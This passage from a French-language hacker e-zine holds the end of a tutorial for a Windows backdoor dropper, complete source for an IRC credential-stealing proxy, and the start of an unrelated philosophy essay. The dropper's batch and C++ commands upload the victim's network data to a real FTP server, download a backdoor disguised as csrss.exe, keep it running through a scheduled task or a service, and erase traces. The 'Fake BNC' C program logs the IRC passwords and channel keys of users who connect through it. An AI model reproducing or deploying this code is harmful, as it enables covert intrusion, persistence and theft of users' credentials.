        distant, le  paramètre -i désactive  l'invite  s'il  y a plusieurs fichiers à 
        transférer puis finalement le pramètre n supprime la connexion automatique au  
        démarrage.  Il  faut  bien sur spécifier l'adresse IP ou le nom de domaine du 
        serveur FTP. Par exemple ici 209.202.240.80, c'est ftp.tripod.com.
	
	ftp -v -i -n -s:%tmp%\ez1.tmp 209.202.240.80

flash. Cette  technologie a beau être en constant essort, le nombre de types de "clients" qui 
4)	Puisque    nous    n'avons   plus    besoin   des    fichiers     %tmp%\ez1.tmp    et 
        %tmp%\\ez%username%.tmp, pourquoi ne  pas  les  supprimer  pour effacer nos traces... 
        En  passent  pour  ceux qui n'ont pas compris l'utilité de l'étoile  ben acheter vous 
        ms-dos pour les nuls.

	del %tmp%\ez*
flash. Cette  technologie a beau être en constant essort, le nombre de types de "clients" qui 
5)	Gnan  ben  cpa  1337 ton truc y par même pas a toute les fois que le h4x0riZé par son 
        compute.  Tout  faux!!!  Grave  à  notre  ami   schtasks   nous   allons    créé  une 
        merveilleuse tâche nommée system, qui  va  exécuter  notre  belle  petite  backdoor à 
        toute les 7 minutes. Alors a chaque 7 minutes vous éclatez de joie  après  avoir fait 
        un beau ti nc -lvvp 1337 ;-).

	schtasks /create /tn system /tr "%path:~0,19%\wins\csrss.exe" /sc minute /mo 7 /ru ""

6)	Puisqu'on est pas ben ben patient pis qu'on veut pas attendre ce 7 minute la premiere 
        fois qu'on exécute w1ko, ben on le start drette live!

	start %path:~0,19%\wins\csrss.exe

7)	Cpa  cool  de  laisser notre  pauvre  petit  w1ko  poirotter comme ca sur la victime. 
        Alors pourquoi ne pas l'auto-supprimé lorsqu'il est exécuté :-P

	del w1*

===========================================================================


Et comment je met ces commandes DOS la en C++ ? Comme ca :

#include <windows.h>
void startup()
{
ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user TON_USER>%tmp%\\ez1.tmp&echo TON_PASS>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %path:~0,19%\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo get csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*&schtasks /create /tn system /tr \"%path:~0,19%\\wins\\csrss.exe\" /sc minute /mo 7 /ru \"\"&start %path:~0,19%\\wins\\csrss.exe&del w1*", NULL, SW_HIDE);
}



et pour ceux qui aime pas trop l'idée de schtasks, il est tourjours possible de créé backdoor 
en Service en utilisant Instsrv.exe et Srvany.exe de la façon suivante: 
	Instsrv.exe = svchost.exe et 
	Srvany.exe = smss.exe:

#include <windows.h>
void startup()
{
ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user b8st5gh>%tmp%\\ez1.tmp&echo ard3lu7>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %windir%\\system32\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo mget smss.exe svchost.exe csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*.*&%windir%\\system32\\wins\\svchost.exe \"Service d'aide\" %windir%\\system32\\wins\\smss.exe&REG add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\Service d'aide\\Parameters\" /v Application /t reg_sz /d %windir%\\system32\\wins\\csrss.exe /f&net start \"Service d'aide\"&del %windir%\\system32\\wins\\sv*.exe&del w1ko.exe", NULL, SW_HIDE);
}


Ca  ne s'arrete pas là, nous pourrions partir le service Telnet WinXp pro, sharer les disques 
dur  de  la  victime,  inserer  un  sniffer  invisible,  un keylogger, etc... Bref ya  pleins 
d'amusantes choses à faire avec cette fonction, il suffit d'y penser. J'espere  que  ce petit 
tutorial vous a plus...

wAXAw,
wAxXxAw@gmail.com


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<g463> Quand j'avais 18 ans, je mangeais pas de brocolis\_ \   \\_  \_ \         `
 || |<g463> parce que j'appréciais pas le goût, et je me       \\_  \_ \   \\_ M  ; . X
 || |<g463> connaissais assez pour dire que je n'aimais pas un \_ \   \\_  \_ \ K      
 || |<g463> criss de légumes, et que ça finissait là... Pourtant,\\_  \_ \   \\_ -  : '
 ||`|<g463> avec le temps, avec l'expérience que j'ai acquise    \_ \   \\_  \_ \ 1   
 || |<g463> durant ma vie, j'ai appris que les légumes étaient     \\_  \_ \   \\_ 1  + 
 || |<g463> nutritifs, que notre corps en avait besoin pour vivre, \_ \   \\_  \_ \ 1   
 ||'|<g463> et toutes cette information a envoyer des influx positif \\_  \_ \   \\_  x 
 || |<g463> à mon sens du goûter pour linfluencer.                   \_ \   \\_  \_ \  `
 || |<g463> Pourtant au début je pouvais dire que je me connaissais    \\_  \_ \   \\_  
 ||,|<g463> assez pour dire que jamais j'aurais manger un esti         \_ \   \\_  \_ \.
 || |<g463> d'légume de ma vie.                                          \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[  mindkind health care                                                 ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O9]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[  Un affaire de fake-bnc       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   phawnky    ]=\:\ _//     
                                                  \__\________________________/__/ 

/* 
   Fake BNC - MKD - phawnky - 2k4

   J'ai cree se soft a la demande d'un gars (no shit!  juree  la...)  qui  voulait piquer des 
   cservices users/pass et, en bonus, des chans keys.
   
   En  bref,  le  code  redirect  une  connection  a  IRCBNC  (defined)  et  output les trucs 
   interessant qui se passe.
  
   J'ai compiler/tester le code et il est 100% fonctionel sous:
      
      -Win98     (Avec cygwin)
      -WinXP sp2 (Avec cygwin)  
      -freebsd 4.x
  
   Exemple d'utilisation:
   ----------------------
   
   @@@@@@@@@@@@@@@@[ irc ]@@@@@@@@@@@@@@@@
   (3.56p) wasting your life away in #KKK
   <phawnky> Hi! can someone test my BNC @ iam.leet.as.fuck.kr port 3000 ?
     
   
   @@@@@@@@@@@@@@@@[ box ]@@@@@@@@@@@@@@@@
   <-Funky@-> ./mkd-fbnc 3000
   -------------------------------
   [MKD] - FakeBNC - phawnky - 2k4
   -------------------------------

   [+] Listening on port 3000...
   [+] Incoming connection from: 64.57.75.131
   [+] Successfully connected to 216.152.77.10:6667
   [+] NICK MuMMy
   [+] USER tested "64.57.75.131" "iam.leet.as.fuck.kr" I've lost my friends today.
   [+] Joined chan #KKK
   [+] X Username: mummy
   [+] X Passowrd: 1fUKiNg1
   [+] Connection Terminated.
   ^C
   
   @@@@@@@@@@@@@@@@[ irc ]@@@@@@@@@@@@@@@@
   <MuMMy> looking good
   <phawnky> kthxbye
   
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define LOGF        "./fbnc.log"
#define IRCBNC      "216.152.77.10"
#define IRCBNC_PORT  6667

// Prototype
void usage(char *);            // lemure
void banner(void);             // Show off
int monitor(int, char *, int); // wo0t
void infograbber(char *);      // Big brother
void stripshit(char *, int);   // lazy
void logshit(char *, char *, char *); 

int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno, clilen;
     struct sockaddr_in serv_addr, cli_addr;
     int yes=1;
     
     if (argc < 2) {
         usage(argv[0]);
         exit(-1);
     }
     
     banner();
     
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0) {
        perror("Socket() ");
        exit(-1);
     }
     
     // Recycler c'est bien, les femmes hippy aime ca, et j'aimes les femmes.
     if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,sizeof(int)) == -1) {
            perror("setsockopt");
            exit(1);
        }
     
     portno = atoi(argv[1]);
     
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        perror("Bind() ");
        exit(-1);
     }
     
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     
     printf("[+] Listening on port %d...\n", portno);
     
     while(newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) 
     {  
        // 1st, L'ip.
        printf("[+] Incoming connection from: %s\n", inet_ntoa(cli_addr.sin_addr));
       
        logshit(LOGF, "\n[+] - New session Started - [+]\n"
                      "IP:  %s\n", 
                      (char *) inet_ntoa(cli_addr.sin_addr));
        
        monitor(newsockfd, IRCBNC, IRCBNC_PORT);      
          
        logshit(LOGF, "[+] - %s Hung up - [+]", (char *) inet_ntoa(cli_addr.sin_addr));
        // Closing Socket
        close(newsockfd);
     }
     return 0; 
}

void
usage(char *progname)
{         
          banner();
          printf("Usage: %s portnum\n\n", progname);
}          

void 
banner(void)
{
   printf("-------------------------------\n"
          "[MKD] - FakeBNC - phawnky - 2k4\n"
          "-------------------------------\n\n");
}             


void 
logshit(char *fname, char *fmt, char *s)
{
   FILE *log;
   
   log = fopen(fname, "a+");
   if (!log) {
      perror("fopen() ");
      exit(-1);
   }

   fprintf(log, fmt, s);
   fclose(log);
}

void
stripshit(char *s, int sz)
{
   int i, j;
   
   for(i=j=0; i < sz; i++)
      if(s[i] != ':')
         s[j++] = s[i];
   s[j] = 0x00;
}

int 
monitor(int sock, char *server, int port)
{
   struct sockaddr_in sin;
   int rsock;
   char buf[255];
   fd_set rfds;
   int len;
     
   FD_ZERO(&rfds);
          
   sin.sin_family = AF_INET;
   sin.sin_port = htons(IRCBNC_PORT);
   sin.sin_addr.s_addr = inet_addr(IRCBNC);
   
   rsock = socket(AF_INET, SOCK_STREAM, 0);
   if (rsock < 0 || (connect(rsock, (struct sockaddr *) &sin, sizeof(sin))) < 0) {
      perror("[-] connect()");
      return;
   }
   
   printf("[+] Successfully connected to %s:%d\n", server, port);
    
   while(1)
   {  
     FD_SET(sock, &rfds);
     FD_SET(rsock, &rfds);
                    
     if (select(rsock+1, &rfds, 0x00, 0x00, 0x00) == -1) {
         perror("[-] Select()");
         exit(-1);
     }

     bzero(buf, sizeof(buf));     

     // Passoire a truc interessant + forwarding
     if (FD_ISSET(sock, &rfds)) {                         // Le sucker send du stuck
       if (len = recv(sock, buf, sizeof(buf)-1, 0) < 0) { // Le sucker a dropper
          close(rsock);
          break;
       }
      
      
       if(strlen(buf))
          infograbber(buf); // Filtrage et/ou modifications
          
       if(len = send(rsock, buf, strlen(buf), 0) < 0) {  
          close(rsock);
          break;
       }
     }
     bzero(buf, sizeof(buf));

     if(FD_ISSET(rsock, &rfds)) {                          // Le serveur a sender du data         
       if (len = recv(rsock, buf, sizeof(buf)-1, 0) < 0) { // Le serveur est mouru
          close(rsock);
          break;
       }
       if (len = send(sock, buf, strlen(buf), 0) < 0) {    // Le sucker a dropper
          close(rsock);  
          break;
       }
     }
   }
   printf("[+] Connection Terminated.\n");
   return 0;
}      

void
infograbber(char *buf)
{
   char *bkp;
   char *ptr;
   char *tmp;
   char chan[255], chanpass[255], tmpbuf[510];   
   
   // Commande NICK?
   bkp = strdup(buf);
   ptr = strstr(bkp, "NICK");
   if (ptr) {
      strtok(ptr, "\n");
      stripshit(ptr, strlen(ptr));
      printf("[+] %s\n", ptr);
      logshit(LOGF, "%s\n", ptr);
   }
   
   // Commande USER?
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "USER");
   if(ptr) { 
      strtok(ptr, "\n");
      stripshit(ptr, strlen(ptr));
      printf("[+] %s\n", ptr);
      logshit(LOGF, "%s\n", ptr);
   }      
   
   // Commande JOIN?
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "JOIN");
   if(ptr) { 
      for(tmp = strtok(ptr, "\n"); tmp; tmp = strtok(0x00, "\n")) 
      {
         stripshit(tmp, strlen(tmp));
         if(sscanf(tmp, "%s %s %s", tmpbuf, chan, chanpass) == 3) {
            printf("[+] Joined chan %s Using pass: %s\n", 
                    chan, chanpass);
            snprintf(tmpbuf, sizeof(tmpbuf)-1, 
                     "Joined chan %s Using pass: %s\n",
                     chan, chanpass);
            logshit(LOGF, "%s", tmpbuf);        
         } else {
            printf("[+] Joined chan %s\n", chan);
            logshit(LOGF, "Joined chan %s\n", chan);       
         }                
      }
   }       
   // Commande join? (Mirc est gay et send ca en lowercase)
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "join");  
   if(ptr) { 
      for(tmp = strtok(ptr, "\n"); tmp; tmp = strtok(0x00, "\n")) 
      {
         stripshit(tmp, strlen(tmp));
         if(sscanf(tmp, "%s %s %s", tmpbuf, chan, chanpass) == 3) {
            printf("[+] Joined chan %s Using pass: %s\n", 
                    chan, chanpass);
            snprintf(tmpbuf, sizeof(tmpbuf)-1, 
                     "Joined chan %s Using pass: %s\n",
                     chan, chanpass);
            logshit(LOGF, "%s", tmpbuf);        
         } else {
            printf("[+] Joined chan %s\n", chan);
            logshit(LOGF, "Joined chan %s\n", chan);       
         }                
      }
   }       
   
   // Le but premier.
   //PRIVMSG x@channels.undernet.org :login USER PASS\n
   free(bkp); 
   bkp = strdup(buf);
   ptr = strstr(bkp, "PRIVMSG x@channels.undernet.org");
   if(ptr) {  // OMG!
      tmp = strtok(ptr, ":");   // PRIVMSG x@channels.undernet.org 
      tmp = strtok(0x00, " ");  // login
      tmp = strtok(0x00, " ");  // USER
      printf("[+] X Username: %s\n", tmp);
      logshit(LOGF, "X Username: %s\n", tmp);
      tmp = strtok(0x00, "\n"); // PASS
      printf("[+] X Passowrd: %s\n", tmp);
      logshit(LOGF, "X Passowrd: %s\n", tmp);
   }
   free(bkp);
      
}




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<binf> decrypt/decypher ne s'applique pas toujours a de \_ \   \\_  \_ \         `
 || |l'encryption....                                          \\_  \_ \   \\_ M  ; . X
 || |<wyzeman> faut aimer jouer sur les mots                   \_ \   \\_  \_ \ K      
 || |<wyzeman> voit ca comme un image                            \\_  \_ \   \\_ -  : '
 ||`|<binf> non c'est asser comun en anglais                     \_ \   \\_  \_ \ 1   
 || |<wyzeman> afaik cette discution est francophone               \\_  \_ \   \\_ 1  + 
 || |<wyzeman> at least franglais                                  \_ \   \\_  \_ \ 1   
 ||'|<binf> du genre si tu ecrit merde possible qu'un americain te   \\_  \_ \   \\_  x 
 || |demande hey wyzeman would you decypher this hand writing for me \_ \   \\_  \_ \  `
 || |please.                                                           \\_  \_ \   \\_  
 ||,|<binf> ecrit merde == ecrire mal                                  \_ \   \\_  \_ \.
 || |wyzeman on avait decypherer ta merde de phrase binf                 \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ sur #hack.fr meme l'humour sent le geek                               ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[10]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de philosophie     ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Qwzykx    ]=\:\ _//     
                                                  \__\________________________/__/ 


C’est  dans  un  esprit  de  découverte  et  de  réjouissance,  que  je  vous  propose  cette  
introspection  dans   les  méandres  de   la  réalité,  dans   toute  son intemporalité. Dans 
cet article plutôt volumineux en perspective, on traitera de  notre  insignifiance, de notre, 
petitesse,  du temps qui fille au  compte gouttes  depuis  des  milliards d’années, donc avis  
à tout les élitismes de ce  monde,  cet  article  peut  peser lourd sur votre ego… lisez donc 
avec modération, je  voudrais  quand  même  pas être  responsable d’un  débordement d’émotion  
de votre part. Un  article  de philo   ... un  autre,  mais  par ou   commencer!? Quoi  dire,  
quoi tenter d'expliquer à des personnes tout  à fait inconnue... Qui ont des buts différents, 
des  ambitions plus  ou moins  louables...  et  qui  ont  tous  leurs  vendredi  soir de rêve 
ou de merde  bien a eux ;)  Mais en dehors de  tout ces inconnues qui  sont inexorablement le 
reflet de l'incertitude de ce qu'on vois chez cette magnifique fille  qui se  presse de  nous  
servir  un verre, ou  du dé-intérêt  le plus total qu'on  éprouve envers le pompiste du coin,  
dans tout ca y doit bien  y  avoir un lien  commun,  un intérêt commun...  après  tout la map  
est la même  pour tout le monde, l'époque aussi,  et  bien  que  nous  sommes  tous  beaux et  
unique  comme des  flocons de   neiges,  notre unicité s'étant fondamentalement à la pyramide   
de Maslow  :) Mais   derrière tout ca, on désir plus  le bonheur et  les  fous rires absurdes 
au malheurs et aux larmes acides. Qu’on soit Chinois ou Australien, on pense fondamentalement 
à  la   même chose, soit même  avant tout, et  c’est  pas mal  en soit de  penser à sa   peau
avant celle des autres, d’avoir plus  d’estime  du monde qui vous entoure que d'estime envers 
de pures  inconnues..    c’est toujours  dans  un  but   déguisé   de  survie   social..   et  
fondamentalement  personnelle  ;)  On a tous une culture  différente, mais  ou  la différance 
a  peu  à voir avec nos valeurs essentiels (besoin Physique, besoin de  sécurité,      besoin
d’appartenance,  d’estime   de    sois,   et    d’accomplissement)  On    oublie plutôt  bien  
dans  la modernité du monde  qui nous entoure l’essentiel de ses concepts.  Suffit d’une nuit 
seul dehors dans une ville inconnue pour avoir un débalancement  marquer de  cette  pyramide.   
Une  situation   que bien des touristes  tentent d’éviter à tout  prix d’ailleurs;) Un  model 
vraiment   utile  pour  plusieurs  corps  militaires  qui  s’adonne  à  des  techniques    de   
brainwashing en règle.. ici  je vous laisse   tirez vos  conclusions.. Malgré  tout,   chaque
personne a sa petite vision  du  monde, ses petites théories absolue sur  ce qui l’entoure.

De  toutes  ces grandes  incertitudes  on vois  le  monde qui  nous  entour  sous  différents 
angles,  autant d'angles  que de  paire d’yeux  qui le  regarde,  trois  dimensions qui  nous 
entoures  ou tous  semblent s'être  habitués, déplacer  des  objets,  regarder des personnes, 
crée en modifiant l'état de la matière. Le temps est  peut-être la  seule dimension  tangible 
qui  nous différencie  les uns  des  autres, car après tout  il faut une évaluation  du temps 
dans un  autre mode que celui présent pour le déceler, pour espérer le déplacer, le modifier.

Et ce qui différencie une ou   plusieurs personnes entre elles se défini    plus par le temps  
passée   qui nous   est  propre   que par   les  trois  autres dimensions présente… un  jolie 
chandail,  une  jupe courte, un   chapeau  melon,  des bottes  de cuirs?!  Tant d'élément qui 
placer dans un  bars, dans un 2 1/2 ou à   la  piscine   municipal  ne   sont  qu'aguicheurs,     
qu'énigmatiques, qu'intrigants.  Mais le temps a se pouvoir  d'user  l'intrigant, de    polir
l'intérêt,  après  40 fois une situation absurde passe au clicher... un évènement  déplaisant  
deviens  une    constante,  un  fou  rire   deviens  un souvenirs. Et c'est ici  que tout  le 
monde  prend un chemin différent  dans  la  4e  dimension, les  souvenirs sont  des  éléments 
d'expériences précédentes, des situations qui   tendent à   se polirent   par  leurs   simple  
re-introduction.  Suivant  une  courbe  d'apprentissage  1/exp  nous apprenons rapidement les  
éléments clés de   ce  qu'une   situation  a   à nous offrir, avec le temps les connaissances 
pertinentes ne servent qu'à améliorer l'incertitude fondamental de la courbe d'apprentissage.


Vous vous tapez une game de counterstrike (ici exemple vaste tirer d'un jeu  bien  connu  ... 
(tant  qu’à  prendre  un exemple),  il vous   faut  en  tant  que  noob,  utiliser vos points  
d'adaptations pour manier  les armes, se  familiariser avec les touches de facon  symbiotique 
puis  ensuite il  faut émuler  le "tirer  sur  l'autre de  facon efficace"  en se  servant de  
tout ces  jeux passé  qui ont un principe plutôt similaire, mais ou  la  dynamique  du  jeux,  
du engine est différents, ici on  peut déceler que  l'apparence d'une courbes de connaissance
est déjà re-introduite  comme élément d'adaptation affin de gagner du temps de spécialisation 
avec se nouveau engine,  puis  viens  ensuite  le défi de connaître les maps, en soit le même 
test que des milliers de rats on fait bien avant vous. Vous  vous  rappelez la vitesse qu'ils 
ont mis à les apprendre!? Non mais pour  la grosseur de  cerveau et  la comparaison  associée 
je  crois pas  que ce  sois un problème  pour  le commun  des  mortels. Ce  qui  faut retenir  
c'est peut-être justement la facilité qu'on a à se mouvoir dans un environnement restreint et  
à mémoriser des éléments de décors affins de s'introduire dans un monde virtuel et s'y sentir  
en contrôle. Puis viens  finalement les détails superflues qui sont paradoxalement les points 
clés du jeu, comme poser un c4 à un endroit donnée.

Ou pensez à tous ces clowns  de cirque qui sont en  équilibre debout sur un  uni  cycle,  une 
tache  impossible pour le  commun  des  mortels,  et  qui  par  la  simple  pratique  devient 
envisageable. Imaginez le  nombre de traitement que le  cerveau d'une personne comme  ca doit 
faire  pour être en  équilibre... tellement il ne pense à  rien.. il  ne fait  que sentir  le 
moment  dans sa  tête.. comme si le cerveau   processerait  tellement  d'information  et  que  
la pratique serait tellement aboutie, que les informations nécessaires à l'accomplissement de
l'action  serait  intégrées  dans  son  cervelet  directement  au  centre  de  toute  actions 
coordonnées destiné à le maintenir en équilibre, tout ca dans une  boite  de 15cm2. Et si  on 
dis à ce  gars la de faire  la même opération, mais  dans un endroit ou il devra combattre un 
vent  de 40 Km/h de l'est, naturellement il  va  essayer de compenser avec toute la  pratique 
qu'il a cet nouvelle contrainte et il est ici mieux placer que n'importe qui pour réussir. Le 
sens du défi pour lui  rentre  en  ligne  de compte à se  moment précis, le reste était de la  
pratique la  il faut se fier sur la pratique, et l'adaptation spontanée à une contrainte. Y’a
beaucoup  de  personnes  dans  le monde qui nous font méditer sur le pouvoir  limité du corps  
humains,  et  à  quel  point ils réussissent  à  faire des mouvements  et articulations  avec 
une  tel machine,  d'autre se  contente d'utiliser que le raisonnement d'une tel machine,  et 
pour en venir  à raisonner sur des  concepts divers, on se doit bien de le faire dans un lieu 
et un moment précis sur terre;)

Importance du lieu de  la création, par ceci  je tiens  simplement  à  exposer  que  certains 
lieux sont plus propices à la stimulation intellectuelle, ou sont plus évocateurs de passions  
instantanés, en plus le lieu en question peut être investi de  plus de  chaos qu'un  sous-sol 
en  béton froid...  tout  ce  chaos  qui  incite votre esprit à divaguer sur  divers éléments 
qu'il évoque. Le but est en fait peut-être plus de s'immerger  dans  des  situations remplies  
d'éléments  imprévisibles  (à  un  certain niveau)  ou la  profondeur d'un  texte aura  comme
renfort l'éléments de l'analyse d'une parcelle de chaos. La loi de Murphy est en soit un truc 
pessimiste, mais si on cherche à trouver son cote positif,  souvent confondu avec le  destin, 
on y trouve l'opportunisme qui  est la clé qui ouvre l'option d'agir sur un événement donnée, 
le choix reviens encore au détenteur de  cette clé, choix éphémère la  plus pars du temps. Et  
si on divague sur le  sens  même   de  la  métaphore  de la  clé,  outil  important  mais pas  
nécessairement  essentiel  pour ouvrir une porte (porte  frontière qui nous sépare d'un point  
de vue essentiel à la quête de nos but et envies). La clé en soit est le moyen   qui  combine 
efficacité et rapidité, situation parfaite qui sert bien un opportuniste  averti,  par contre  
le lockpiking  ou le  dévissage de  serrure permet  souvent d'obtenir le même résultat. Hélas 
le temps est une contrainte  importante  surtout  qu'il  faut  complexifier  de  beaucoup une  
situation idéale,  ne serait-ce  qu'en  temps  immédiat  et  préalable..  Donc l'opportuniste  
averti  à  avec  sois  des  éléments  qui tiennent plus de  la statistique  que du  pratique, 
les  occasions chaotiques  se  doivent   d'être   répertoriés,   catalogués,   analysés    et
expérimentés...  affins  de  les   re-répertorier,   re-cataloguer,   re-analyser    et   re- 
expérimenter... tout ca  dans le but  de les re-re-répertorier,  etc ... de  ces statistiques 
épurés on en arrive à un niveau d'incertitude non concluant qui par  déduction est  la limite  
de l'application après X  essai d'une situation. Si  X  est  augmenté   pour  comprendre   un 
ensemble  plus vaste, et que la situation  final reste invariable, on à atteint ce qui semble 
bien être une évidence. Les  moeurs  et  coutumes  varissent  entre plusieurs pays, plusieurs 
continent, alors il serait  judicieux  d'expérimenter dans un monde local affins de roder vos 
théories  avant  de  les  exposer au monde!.. Mais avant de les exposer au monde, il faudrait  
peut être avoir une idée plus objective de ce qu’il représente..

Comme toute bonne histoire a un  début, ou du moins une situation  initial, je vais enchaîner  
avec les  connaissances que  l’on a  du monde  qui nous  entour,  depuis le début ou ces même 
connaissances   nous  permettent  d’extrapoler,   c'est-à-dire  le  Big-Bang.  Cet  évènement 
mystérieux, et à la fois essentiel à notre quête de connaissances, a pris place il y a jadis, 
15 milliard d’années…  sa fait un  bout de temps, mais notre bonne  vielle terre a quand même 
5  milliard d’années,  en  somme, temporelment parlant, c’était il  y a pas si longtemps ;)…  
surtout si  on  extrapole que l’univers à encore un  bon bout de temps  devant lui, plus  que
vous en  avez entk  ;). La  théorie va  comme suit,  de rien, est née l’univers… simple  non?  
On à  tous entendu  cette histoire,  mais dans  les faits,  c’est possible ? Toute  l’énergie 
et  la   matière  de  cet  UNIVERS,  même  les  bouts  que  l’on  ignore de ce qui le compose 
actuellement, (et on est encore plutôt ignorant),  était  jadis packer  à un  point tangible,  
et réel  de ce monde qui s’appelait pas encore l’Univers. En fait ce qui se passe avant cette  
époque et  purement  inconnue,  et  n’est  peut-être  vouer qu’à  enrichir la  créativité  de
nombreuses  espèces  intelligente  par  de  belles  spéculations,   spéculations ironiquement  
faite  par  de la  matière  et  de l’énergie  venant  de  ce point  existentiel de la vie. En 
fait,  le mystère est complexe, soit, la   notion même  du  temps  prend  ses  racines  à  ce 
moment  même de  la création,  distorsionné à souhait par toute cette précarité de matière et 
cette température extrême.  Mais  cette  anomalie  en avait assez un jour de tourner en rond, 
donc elle à  explosée, pour le plus grand bonheur de tout  le monde finalement.. (avec un peu 
de  recul  on  le  voit bien ) ;) .. De  *rien*, s’est entamé l’oeuvre le moins lâche qui ait
jamais existé,  Les notions  même de  la physique  se sont  révélés à ce moment, l’espace, la 
matière,  l’énergie, le temps,  surtout le temps,  puisqu’il est en  soit  la  création   qui 
garantie tout les autres.

Puis  s’en  suit une  évolutions  de la  force,  d’une super  force,   l’univers  explose  en 
donnant naissance à d’autres forces qui encore aujourd’hui  régissent encore nos vie.  Dès sa 
création,  la gravité s’impose  déjà comme une  force à part entière, tendis que   les forces  
